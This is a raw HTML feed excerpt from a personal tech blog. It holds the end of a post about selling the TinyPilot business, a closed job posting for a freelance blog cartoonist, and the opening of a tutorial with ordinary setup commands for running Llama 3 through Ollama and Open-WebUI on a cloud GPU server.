&lt;p>By April, we&amp;rsquo;d been in due diligence for what felt like a year but was actually just three months. Finally, on April 3rd, Scott&amp;rsquo;s bank approved the deal. They recommended a closing date of Friday, April 12th.&lt;/p>
&lt;p>That final week was the longest week of my life. I didn&amp;rsquo;t know what to do with myself.&lt;/p>
&lt;p>The only thing I could find motivation for was ruminating about all the things that might go wrong. What if the buyer got cold feet? What if Google announced an identical product and gave it away for free? What if our manufacturer spontaneously went out of business?&lt;/p>
&lt;p>It felt like I was on my way to my retirement party, but there was a 5% chance that when I got there, my boss would say, &amp;ldquo;Gotcha! You&amp;rsquo;re not really retiring. Now, work extra hard to make up for all the time you wasted preparing to leave.&amp;rdquo;&lt;/p>
&lt;p>On closing day, I couldn&amp;rsquo;t focus on anything at all. I woke up at 4 AM and couldn&amp;rsquo;t fall back to sleep. I couldn&amp;rsquo;t do anything that required even basic thinking, and I couldn&amp;rsquo;t relax enough to watch TV, so I started disassembling some old TinyPilot devices while checking my email every 90 seconds.&lt;/p>
&lt;p>Finally, at 2 PM, I received the email I&amp;rsquo;d been waiting for all day. The escrow company confirmed that they had the money ready to wire, so I signed the closing documents. TinyPilot was no longer my company.&lt;/p>
&lt;h2 id="part-4-after-the-sale">Part 4: After the sale&lt;/h2>
&lt;p>The first thing I did after I got the money was eat dessert.&lt;/p>
&lt;p>My wife and I were at dinner the night of the closing, and the email confirmation of the wire transfer arrived right before the server brought over our desserts.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/i-sold-tinypilot/final-wire.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/i-sold-tinypilot/final-wire_hu_201617f6ab41d1ec.webp 300w, https://mtlynch.io/i-sold-tinypilot/final-wire_hu_ed28fac7a69f3a3d.webp 600w, https://mtlynch.io/i-sold-tinypilot/final-wire_hu_dbcf1901267a730f.webp 800w, https://mtlynch.io/i-sold-tinypilot/final-wire.webp 846w'
 src="https://mtlynch.io/i-sold-tinypilot/final-wire.webp" alt="Screenshot of email confirming receipt of $610,147.83 in wire transfer payment" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The payment is sale price + cost of inventory - broker&amp;rsquo;s fee.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Over the next 48 hours, I had celebratory meals with friends and family in different parts of Massachusetts, during which I ate the following desserts (in order):&lt;/p>
&lt;ol>
&lt;li>Chocolate tort and vanilla ice cream&lt;/li>
&lt;li>Oreo cheesecake&lt;/li>
&lt;li>Chocolate lava cake and vanilla ice cream&lt;/li>
&lt;li>Chocolate caramel cheesecake&lt;/li>
&lt;li>Crème brûlée&lt;/li>
&lt;li>Pizookie Trio (Strawberry Shortcake, Sugar Cookie, Salted Caramel)&lt;/li>
&lt;/ol>
&lt;h3 id="did-i-feel-relief">Did I feel relief?&lt;/h3>
&lt;p>When I talked to friends about the sale, the most common question was whether I felt relieved to be done.&lt;/p>
&lt;p>For the first few weeks, I still felt anxious. Consciously, I knew that the deal had closed, but my body was still stuck in high-alert mode from months of urgent due diligence requests.&lt;/p>
&lt;p>I felt a bit more relaxed each week and probably felt Officially Relaxed™ by week three. By that point, I&amp;rsquo;d transferred all of TinyPilot&amp;rsquo;s accounts to Scott, and he was comfortable taking the reins. I felt like the company was in good hands.&lt;/p>
&lt;h3 id="do-i-feel-a-loss-of-identity">Do I feel a loss of identity?&lt;/h3>
&lt;p>I&amp;rsquo;ve heard other founders say they struggled with a loss of identity after they sold their business. Others say it feels like they&amp;rsquo;ve given up their baby.&lt;/p>
&lt;p>I didn&amp;rsquo;t feel a change in identity or a sense of deep loss.&lt;/p>
&lt;p>I always ran TinyPilot like a modest small business rather than a world-changing startup. I&amp;rsquo;m proud of TinyPilot and put a lot of care into the company, but it was never a blood, sweat, and tears thing for me.&lt;/p>
&lt;h2 id="timeline">Timeline&lt;/h2>
&lt;ul>
&lt;li>Oct. 3, 2023 - I sign an engagement letter with Quiet Light.&lt;/li>
&lt;li>Oct. 17, 2023 - Quiet Light lists TinyPilot on their website.&lt;/li>
&lt;li>Dec. 15, 2023 - I have my first conversation with Scott.&lt;/li>
&lt;li>Jan. 16, 2023 - I receive the first LOI.&lt;/li>
&lt;li>Jan. 23, 2024 - I sign the LOI with target close date of April 16.&lt;/li>
&lt;li>Feb. 23, 2024 - I get the first draft of the APA.&lt;/li>
&lt;li>March 7th, 2024 - Lender approves the loan.&lt;/li>
&lt;li>March 20th, 2024 - Scott and I finalize the APA.&lt;/li>
&lt;li>March 25th, 2024 - Lender finishes legal review and submits loan package to SBA.&lt;/li>
&lt;li>April 3rd, 2024 - Lender notifies buyer of SBA approval and suggests a closing date of April 12th.&lt;/li>
&lt;li>April 12th, 2024 - We sign final legal agreements, and I receive payment.&lt;/li>
&lt;/ul>
&lt;h2 id="whats-next">What&amp;rsquo;s next?&lt;/h2>
&lt;p>My wife and I are expecting our first child in August, so that&amp;rsquo;s been the main thing I&amp;rsquo;m preparing for. I&amp;rsquo;m trying to keep plans loose until I see what my life is like with a baby.&lt;/p>
&lt;p>In the short term, I&amp;rsquo;m looking for simple projects that I can step away from abruptly when the baby arrives. Beyond that, I&amp;rsquo;d like to find a way to build a virtuous cycle between my blog and my business. I&amp;rsquo;d love to write about what interests me, then attract customers to my product through my writing and fund my writing from the business.&lt;/p>
&lt;p>As for TinyPilot, Scott plans to keep improving the product and bring it to a wider audience. Everyone on the team received offers to stay on, and they all accepted. The company will continue to publish updates on &lt;a href="https://tinypilotkvm.com/blog">TinyPilot&amp;rsquo;s blog&lt;/a>, and Scott is continuing my tradition of &lt;a href="https://www.aftertheladder.com">blogging about TinyPilot&amp;rsquo;s behind-the-scenes strategy&lt;/a>.&lt;/p>
&lt;h2 id="follow-up">Follow-up&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/lessons-from-my-first-exit/">Lessons from my First Exit&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Original illustrations by &lt;a href="https://cartoony.eu">Piotr Letachowicz&lt;/a>. Thanks to other founders who shared their acquisition stories, especially &lt;a href="https://baremetrics.com/blog/i-sold-baremetrics">Josh Pigford&lt;/a>, &lt;a href="https://blog.codetree.com/articles/what-its-like-buying-a-128k-side-project.html">Kareem Mayan&lt;/a>, and &lt;a href="https://lauraroeder.com/exactly-how-i-cold-emailed-my-way-to-a-life-changing-exit-and-you-can-too-165d8eaf8306">Laura Roeder&lt;/a>.&lt;/em>&lt;/p></content:encoded></item><item><title>Hiring: Freelance Blog Cartoonist</title><link>https://mtlynch.io/notes/hiring-a-blog-illustrator/</link><pubDate>Mon, 29 Apr 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/hiring-a-blog-illustrator/</guid><description>&lt;h2 id="applications-closed">Applications closed&lt;/h2>
&lt;div class="notice notice-warning">
 &lt;strong>Update&lt;/strong>: Applications are now &lt;strong>closed&lt;/strong>.
&lt;/div>

&lt;h2 id="previous-overview">Previous overview&lt;/h2>
&lt;p>I&amp;rsquo;m a blogger, and I often commission custom cartoons for my blog posts like this one:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/hiring-a-blog-illustrator/year-6-cover.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/hiring-a-blog-illustrator/year-6-cover_hu_190a7b35b3ed0471.webp 300w, https://mtlynch.io/notes/hiring-a-blog-illustrator/year-6-cover_hu_30cc7b3deb1bac19.webp 600w, https://mtlynch.io/notes/hiring-a-blog-illustrator/year-6-cover_hu_998fdb8eecc620fc.webp 800w, https://mtlynch.io/notes/hiring-a-blog-illustrator/year-6-cover_hu_6d0c19389b1934d1.webp 1200w, https://mtlynch.io/notes/hiring-a-blog-illustrator/year-6-cover.webp 1200w'
 src="https://mtlynch.io/notes/hiring-a-blog-illustrator/year-6-cover.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>An example of a cartoon I commissioned for the blog, part of my &lt;a href="https://mtlynch.io/tags/annual-review/">year-in-review series&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The blog&amp;rsquo;s previous cartoonist was the awesome Loraine Yow, who worked with me for six years. She recently changed careers, so I&amp;rsquo;m looking for someone who can take over as the blog&amp;rsquo;s official cartoonist.&lt;/p></description><content:encoded>&lt;h2 id="applications-closed">Applications closed&lt;/h2>
&lt;div class="notice notice-warning">
 &lt;strong>Update&lt;/strong>: Applications are now &lt;strong>closed&lt;/strong>.
&lt;/div>

&lt;h2 id="previous-overview">Previous overview&lt;/h2>
&lt;p>I&amp;rsquo;m a blogger, and I often commission custom cartoons for my blog posts like this one:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/hiring-a-blog-illustrator/year-6-cover.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/hiring-a-blog-illustrator/year-6-cover_hu_190a7b35b3ed0471.webp 300w, https://mtlynch.io/notes/hiring-a-blog-illustrator/year-6-cover_hu_30cc7b3deb1bac19.webp 600w, https://mtlynch.io/notes/hiring-a-blog-illustrator/year-6-cover_hu_998fdb8eecc620fc.webp 800w, https://mtlynch.io/notes/hiring-a-blog-illustrator/year-6-cover_hu_6d0c19389b1934d1.webp 1200w, https://mtlynch.io/notes/hiring-a-blog-illustrator/year-6-cover.webp 1200w'
 src="https://mtlynch.io/notes/hiring-a-blog-illustrator/year-6-cover.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>An example of a cartoon I commissioned for the blog, part of my &lt;a href="https://mtlynch.io/tags/annual-review/">year-in-review series&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The blog&amp;rsquo;s previous cartoonist was the awesome Loraine Yow, who worked with me for six years. She recently changed careers, so I&amp;rsquo;m looking for someone who can take over as the blog&amp;rsquo;s official cartoonist.&lt;/p>
&lt;h2 id="benefits">Benefits&lt;/h2>
&lt;ul>
&lt;li>Long-term client relationship&lt;/li>
&lt;li>Wide variety of subjects&lt;/li>
&lt;li>Room to bring your own creativity and style&lt;/li>
&lt;li>Transparent, competitive pay&lt;/li>
&lt;li>Relaxed, flexible timelines&lt;/li>
&lt;li>Publicity with credit on a popular technology blog
&lt;ul>
&lt;li>Blog receives 250k-450k unique readers annually.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="what-its-like-working-with-me">What it&amp;rsquo;s like working with me&lt;/h2>
&lt;p>For each blog post, I use the following process to work with an artist on cartoons:&lt;/p>
&lt;ol>
&lt;li>I create a written spec
&lt;ul>
&lt;li>&lt;a href="code-review-love-illustration.pdf">Example spec&lt;/a> and &lt;a href="https://mtlynch.io/code-review-love/">result&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You show me an initial sketch&lt;/li>
&lt;li>I give notes about the draft&lt;/li>
&lt;li>You show me a revision&lt;/li>
&lt;li>We repeat steps 3 and 4 until the piece is complete
&lt;ul>
&lt;li>Usually two to four rounds of feedback&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;p>I wrote about this process in &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/#the-process-end-to-end">a previous blog post&lt;/a>.&lt;/p>
&lt;p>The most important part of working together is clear communication. I put a lot of effort into communicating clearly, and I work best with people who communicate thoughtfully and pay attention to details.&lt;/p>
&lt;p>Our communication is entirely asynchronous over email. I don&amp;rsquo;t require you to have meetings or calls with me.&lt;/p>
&lt;h2 id="what-style-im-looking-for">What style I&amp;rsquo;m looking for&lt;/h2>
&lt;p>My previous cartoonist had a distinctive style that I liked, but I don&amp;rsquo;t want you to just mimic the existing style. I&amp;rsquo;d like you to bring your own style to the work.&lt;/p>
&lt;p>The words I&amp;rsquo;d like readers to think of when they read my blog are:&lt;/p>
&lt;ul>
&lt;li>Lighthearted&lt;/li>
&lt;li>Knowledgeable&lt;/li>
&lt;li>Simple&lt;/li>
&lt;li>Trustworthy&lt;/li>
&lt;li>Doesn&amp;rsquo;t take itself too seriously&lt;/li>
&lt;/ul>
&lt;h3 id="example-styles-i-like">Example styles I like&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://theoatmeal.com/comics/pens_as_printers">The Oatmeal&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.webtoons.com/en/canvas/system32comics/computers-are-amazing-at-reading/viewer?title_no=235074&amp;amp;episode_no=110">System32Comics&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://poorlydrawnlines.com/comic/been-reading/">Poorly Drawn Lines&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://goomics.net/239">Goomics&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://fosscomics.com/8.%20The%20Origins%20of%20Unix%20and%20the%20C%20Language/">F/OSS Comics&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="pay-rate">Pay rate&lt;/h2>
&lt;p>I&amp;rsquo;ll pay you your hourly rate. I&amp;rsquo;m aiming to pay roughly $75 per cartoon.&lt;/p>
&lt;p>If you charge $80/hr and each cartoon takes you three hours, it&amp;rsquo;s probably not going to work.&lt;/p>
&lt;p>If you charge $50/hr and each cartoon takes you about 90 minutes, that would work great. It also works fine if you charge $25/hr and each cartoon takes three hours. You get how math works.&lt;/p>
&lt;p>Keep in mind that your cartoons don&amp;rsquo;t have to be as detailed as what&amp;rsquo;s currently on the blog. I&amp;rsquo;d be fine with a simpler style that allows us to hit a $75/cartoon target.&lt;/p>
&lt;h3 id="why-not-pay-a-flat-fee-for-every-cartoon">Why not pay a flat fee for every cartoon?&lt;/h3>
&lt;p>The problem with paying a flat fee for every cartoon is that if I occasionally want a more elaborate cartoon, then the artist is getting underpaid. It also discourages me from requesting a set of simple, quick cartoons if I&amp;rsquo;m paying the same fee regardless of complexity.&lt;/p>
&lt;h3 id="why-not-pay-a-flat-fee-on-a-per-cartoon-basis">Why not pay a flat fee on a per-cartoon basis?&lt;/h3>
&lt;p>If we have to decide the fee on a per-cartoon basis, we both end up spending a lot of our time thinking about price instead of collaborating on the art itself.&lt;/p>
&lt;h2 id="time-tracking">Time tracking&lt;/h2>
&lt;p>I trust you to report your hours honestly. I&amp;rsquo;ll never ask you to &amp;ldquo;prove&amp;rdquo; your hours to me, and I&amp;rsquo;ll definitely never ask you to run any software that monitors your computer.&lt;/p>
&lt;p>Early in our work together, I&amp;rsquo;ll ask you to timebox tasks to a set number of hours to make sure we&amp;rsquo;re working together at the expected pace. As we get more experience working together, I&amp;rsquo;ll skip the timeboxing and trust you to let me know if I&amp;rsquo;m asking for work that&amp;rsquo;s going to be especially expensive.&lt;/p>
&lt;h2 id="payment">Payment&lt;/h2>
&lt;p>I&amp;rsquo;ll pay your invoice for work when you complete the set of cartoons for an article. Expect payment within five business days of the invoice, usually sooner.&lt;/p>
&lt;p>I don&amp;rsquo;t pay bonuses or tips. I want your compensation to be transparent, so you don&amp;rsquo;t have to wonder about undefined pay left to my discretion.&lt;/p>
&lt;p>If you use an invoicing service that accepts online payments, I&amp;rsquo;m happy to pay that way. I can also pay via PayPal, Payoneer, ACH transfer (US only), or a mailed check (US only), depending on your preference.&lt;/p>
&lt;h2 id="credit">Credit&lt;/h2>
&lt;p>I will credit you for your work by including your name and a link to your portfolio or website at the bottom of each article you work on.&lt;/p>
&lt;p>The images themselves will not contain a credit or signature.&lt;/p>
&lt;h2 id="work-frequency">Work frequency&lt;/h2>
&lt;p>I expect to commission 10-15 cartoons per year in 7-10 separate projects.&lt;/p>
&lt;h2 id="project-timelines">Project timelines&lt;/h2>
&lt;p>I typically send you the spec two to three weeks before I plan to publish an article.&lt;/p>
&lt;p>Most articles only have a single cartoons. If they have more than three, I can give more lead time.&lt;/p>
&lt;h2 id="hiring-process">Hiring process&lt;/h2>
&lt;ol>
&lt;li>You submit an application (15-30 minutes).&lt;/li>
&lt;li>I pick 3-5 candidates from the applicant pool.&lt;/li>
&lt;li>I give you a paid trial job of a single cartoon and pay your normal hourly rate.
&lt;ul>
&lt;li>I pay you for this work even if I choose not to hire you.&lt;/li>
&lt;li>We&amp;rsquo;ll timebox this to a maximum of five hours.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If you&amp;rsquo;re the best match, I offer you the job, and we begin working together immediately.&lt;/li>
&lt;/ol>
&lt;h2 id="how-to-apply">How to apply&lt;/h2>
&lt;p>If this sounds like a good fit for you, please apply through the link below:&lt;/p>
&lt;ul>
&lt;li>&lt;del>I&amp;rsquo;d like to be this blog&amp;rsquo;s next cartoonist&lt;/del> (applications are now closed)&lt;/li>
&lt;/ul>
&lt;p>I will personally review every application I receive. If you put honest effort into applying, I will send a personalized response back, even if I decide not to move forward with your application.&lt;/p>
&lt;p>Please don&amp;rsquo;t email outside of the application link above, as that makes it difficult for me to track applications.&lt;/p></content:encoded></item><item><title>Experimenting with Lllama 3 via Ollama</title><link>https://mtlynch.io/notes/ollama-llama3/</link><pubDate>Thu, 25 Apr 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/ollama-llama3/</guid><description>&lt;p>I saw that Meta &lt;a href="https://llama.meta.com/llama3/">released the Llama 3&lt;/a> AI model, and people seem excited about it, so I decided to give it a try.&lt;/p>
&lt;p>I don&amp;rsquo;t have much experience running open-source AI models, and I didn&amp;rsquo;t see a lot of documentation about how to run them. I tinkered with it for a few hours and got Llama 3 working with &lt;a href="https://ollama.com/">Ollama&lt;/a>, so I wanted to share my instructions.&lt;/p>
&lt;h2 id="provisioning-a-cloud-server-with-a-gpu">Provisioning a cloud server with a GPU&lt;/h2>
&lt;p>To run this experiment, I provisioned the following server on &lt;a href="https://scaleway.com">Scaleway&lt;/a>:&lt;/p></description><content:encoded>&lt;p>I saw that Meta &lt;a href="https://llama.meta.com/llama3/">released the Llama 3&lt;/a> AI model, and people seem excited about it, so I decided to give it a try.&lt;/p>
&lt;p>I don&amp;rsquo;t have much experience running open-source AI models, and I didn&amp;rsquo;t see a lot of documentation about how to run them. I tinkered with it for a few hours and got Llama 3 working with &lt;a href="https://ollama.com/">Ollama&lt;/a>, so I wanted to share my instructions.&lt;/p>
&lt;h2 id="provisioning-a-cloud-server-with-a-gpu">Provisioning a cloud server with a GPU&lt;/h2>
&lt;p>To run this experiment, I provisioned the following server on &lt;a href="https://scaleway.com">Scaleway&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>Server instance type: GPU-3070-S&lt;/li>
&lt;li>OS: Ubuntu Focal&lt;/li>
&lt;li>Disk size: 100 GB (needed because the model is large)&lt;/li>
&lt;/ul>
&lt;p>To SSH in, I ran the following command with port forwarding because I&amp;rsquo;ll need access to the web interface that will run on the server&amp;rsquo;s &lt;code>localhost&lt;/code> interface.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">TARGET_IP&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;51.159.184.186&amp;#39;&lt;/span> &lt;span style="color:#999;font-style:italic"># Change to your server&amp;#39;s IP.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">REMOTE_PORT&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;8080&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">LOCAL_PORT&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;8080&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># SSH in and port-forward a port to access the Open-WebUI web interface.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ssh &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">TARGET_IP&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> -L &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">REMOTE_PORT&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">:localhost:&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">LOCAL_PORT&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="install-cuda">Install CUDA&lt;/h2>
&lt;p>First, install CUDA to enable Ollama to use the GPU:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo apt-get install linux-headers-&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>uname -r&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo apt-key del 7fa2af80 &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;deb [signed-by=/usr/share/keyrings/cudatools.gpg] https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2204/x86_64/ /&amp;#34;&lt;/span> | sudo tee /etc/apt/sources.list.d/cuda-ubuntu2204-x86_64.list &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2204/x86_64/cuda-ubuntu2204.pin &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo mv cuda-ubuntu2204.pin /etc/apt/preferences.d/cuda-repository-pin-600 &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo apt-get update &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo apt-get install -y cuda-toolkit nvidia-container-toolkit ca-certificates curl
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="install-docker">Install docker&lt;/h2>
&lt;p>Next, install Docker so that you can run ollama under the Open-WebUI web interface for Ollama:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo install -m &lt;span style="color:#3677a9">0755&lt;/span> -d /etc/apt/keyrings &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo chmod a+r /etc/apt/keyrings/docker.asc &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;deb [arch=&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>dpkg --print-architecture&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13"> signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>. /etc/os-release &amp;amp;&amp;amp; &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$VERSION_CODENAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13"> stable&amp;#34;&lt;/span> | &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo apt-get update &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo usermod -aG docker &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">USER&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> newgrp docker
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To test everything is working, run the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker run hello-world
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="start-ollama-and-open-webui">Start Ollama and Open-WebUI&lt;/h2>
&lt;p>I adapted the standard &lt;a href="https://github.com/open-webui/open-webui">Open-WebUI&lt;/a> Docker Compose file to make one for Ollama, which you can download and run with the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>wget https://mtlynch.io/notes/ollama-llama3/docker-compose.yml &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> docker-compose up
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once the server is up and running, visit the following URL in your browser:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://localhost:8080">http://localhost:8080&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>You&amp;rsquo;ll first see a page prompting for a login. Click &amp;ldquo;Sign up.&amp;rdquo;&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 482px">



 &lt;a href="https://mtlynch.io/notes/ollama-llama3/open-webui-signup.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 482px, 98vw"
 srcset='https://mtlynch.io/notes/ollama-llama3/open-webui-signup_hu_24ad1c71d5a716af.webp 300w, https://mtlynch.io/notes/ollama-llama3/open-webui-signup.webp 480w'
 src="https://mtlynch.io/notes/ollama-llama3/open-webui-signup.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Then enter any details. You don&amp;rsquo;t really need a valid email, as far as I can tell.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 482px">



 &lt;a href="https://mtlynch.io/notes/ollama-llama3/open-webui-create-account.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 482px, 98vw"
 srcset='https://mtlynch.io/notes/ollama-llama3/open-webui-create-account_hu_aca5991858bd2b79.webp 300w, https://mtlynch.io/notes/ollama-llama3/open-webui-create-account.webp 480w'
